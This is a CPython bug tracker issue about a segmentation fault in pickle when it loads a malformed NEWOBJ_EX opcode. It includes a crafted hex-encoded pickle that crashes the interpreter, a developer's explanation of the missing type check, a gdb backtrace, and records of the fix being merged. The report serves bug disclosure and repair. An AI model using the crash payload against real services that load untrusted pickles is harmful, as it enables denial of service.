Pickle crashes unpickling invalid NEWOBJ_EX opcode

[ImanSharafaldin]

BPO	41288
Nosy	@abalkin, @tiran, @ned-deily, @ambv, @serhiy-storchaka, @pganssle, @miss-islington
PRs	bpo-41288: Fix a crash in unpickling invalid NEWOBJ_EX. #21458 [3.9] bpo-41288: Fix a crash in unpickling invalid NEWOBJ_EX. (GH-21458) #21459 [3.8] bpo-41288: Fix a crash in unpickling invalid NEWOBJ_EX. (GH-21458) #21460 [3.7] bpo-41288: Fix a crash in unpickling invalid NEWOBJ_EX. (GH-21458) #21461 [3.6] bpo-41288: Fix a crash in unpickling invalid NEWOBJ_EX. (GH-21458) #21462 bpo-41288: Refactor of unpickling NEWOBJ and NEWOBJ_EX opcodes. #21472

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = 'https://github.com/serhiy-storchaka'
closed_at = <Date 2020-07-26.14:19:49.073>
created_at = <Date 2020-07-12.21:36:09.137>
labels = ['3.8', '3.9', '3.10', 'extension-modules', '3.7', 'type-crash']
title = 'Pickle crashes unpickling invalid NEWOBJ_EX opcode'
updated_at = <Date 2020-07-26.15:12:33.081>
user = 'https://bugs.python.org/ImanSharafaldin'

bugs.python.org fields:

activity = <Date 2020-07-26.15:12:33.081>
actor = 'Iman Sharafaldin'
assignee = 'serhiy.storchaka'
closed = True
closed_date = <Date 2020-07-26.14:19:49.073>
closer = 'serhiy.storchaka'
components = ['Extension Modules']
creation = <Date 2020-07-12.21:36:09.137>
creator = 'Iman Sharafaldin'
dependencies = []
files = []
hgrepos = []
issue_num = 41288
keywords = ['patch']
message_count = 15.0
messages = ['373573', '373575', '373599', '373600', '373603', '373604', '373605', '373616', '373617', '373886', '374022', '374086', '374311', '374314', '374320']
nosy_count = 8.0
nosy_names = ['belopolsky', 'christian.heimes', 'ned.deily', 'lukasz.langa', 'serhiy.storchaka', 'p-ganssle', 'miss-islington', 'Iman Sharafaldin']
pr_nums = ['21458', '21459', '21460', '21461', '21462', '21472']
priority = 'normal'
resolution = 'fixed'
stage = 'resolved'
status = 'closed'
superseder = None
type = 'crash'
url = 'https://bugs.python.org/issue41288'
versions = ['Python 3.6', 'Python 3.7', 'Python 3.8', 'Python 3.9', 'Python 3.10']

[ImanSharafaldin]

The following code generates a segfault on the Pickle module [it's a crafted datetime object] (Python 3.10.0a0 (heads/master:b40e434, Jul 4 2020), Python 3.6.11 and Python 3.7.2):

import io
import pickle


hex_string = "8004952A000000000000008C086461746574696D65948C086461746574696D65949388430A07B2010100000000000092059452942E"
myb = bytes.fromhex(hex_string)
f = io.BytesIO(myb)
print(f)
data = pickle.load(f)
print(data)
print('We have segfault but we cannot see!')

[tiran]

datetime_new assumes that args is a tuple. load_newobj_ex() doesn't check that args is a tuple and kwargs is a dictionary. The demo exploit passes True as args, which triggers a segfault in PyTuple_GET_SIZE in datetime_new.

#0 datetime_new (type=0x7fffea5d2740 <PyDateTime_DateTimeType>, args=True, kw=b'\x07\xb2\x01\x01\x00\x00\x00\x00\x00\x00') at /usr/src/debug/python3-3.8.3-2.fc32.x86_64/Modules/_datetimemodule.c:4737
#1 0x00007fffea637b1e in load_newobj_ex (self=0x7fffea7a7820) at /usr/src/debug/python3-3.8.3-2.fc32.x86_64/Modules/_pickle.c:6008
#2 0x00007fffea632e7a in load (self=0x7fffea7a7820) at /usr/src/debug/python3-3.8.3-2.fc32.x86_64/Modules/_pickle.c:6943
#3 0x00007fffea63795e in _pickle_load_impl (module=<optimized out>, buffers=0x0, errors=0x7fffea639149 "strict", encoding=0x7fffea6391fa "ASCII", fix_imports=1, file=<_io.BytesIO at remote 0x7fffea888180>)
at /usr/src/debug/python3-3.8.3-2.fc32.x86_64/Modules/_pickle.c:1688
#4 _pickle_load (module=<optimized out>, args=<optimized out>, nargs=<optimized out>, kwnames=<optimized out>) at /usr/src/debug/python3-3.8.3-2.fc32.x86_64/Modules/clinic/_pickle.c.h:731
#5 0x00007ffff7bd1ced in cfunction_vectorcall_FASTCALL_KEYWORDS (func=<built-in method load of module object at remote 0x7fffea680270>, args=<optimized out>, nargsf=<optimized out>, kwnames=0x0)
at /usr/src/debug/python3-3.8.3-2.fc32.x86_64/Objects/methodobject.c:437